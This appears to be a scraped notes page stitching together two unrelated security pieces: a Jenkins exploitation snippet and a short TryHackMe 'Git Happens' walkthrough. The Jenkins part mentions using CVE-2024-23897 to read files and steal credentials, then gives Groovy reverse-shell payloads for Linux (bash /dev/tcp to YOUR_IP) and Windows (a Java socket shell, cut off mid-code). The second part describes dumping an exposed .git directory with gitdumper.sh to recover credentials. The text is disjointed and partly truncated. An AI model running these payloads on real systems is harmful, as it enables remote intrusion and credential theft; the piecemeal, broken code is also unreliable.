Exploiting Jenkins / CVE-2024-23897 Often the script console is accessible without authentication due to misconfig on http://JENKINS_IP/script If you don't have access to script console and the version is vulnerable to CVE-2024-23897 , then exploit it to read files and get authentication credentials for Jenkins, (explained below) Groovy scripts can be executed from the script console. To get a reverse shell, execute the following script. For Linux, r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/YOUR_IP/PORT;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor() For Windows, String host="YOUR_IP"; int port=PORT; String cmd="cmd.exe"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStrea...
THM Room : Git Happens
If you browse the address, you can see the login page. finding the credential is the goal of this room. If you go through the page source, you can find some javascript. You can try to decode to find something relevant.
You can also browse through the site pages to find hints. However i couldn't find anything relevant. I found some logs though.
I used gitdumper.sh script to dump all the items to my local machine. Link (https://raw.githubusercontent.com/internetwache/GitTools/master/Dumper/gitdumper.sh)
Go through the logs to find the commit history (reference : https://git-scm.com/book/en/v2/Git-Basics-Viewing-the-Commit-History)
You can find the credentials in the index.html file. The password is the flag.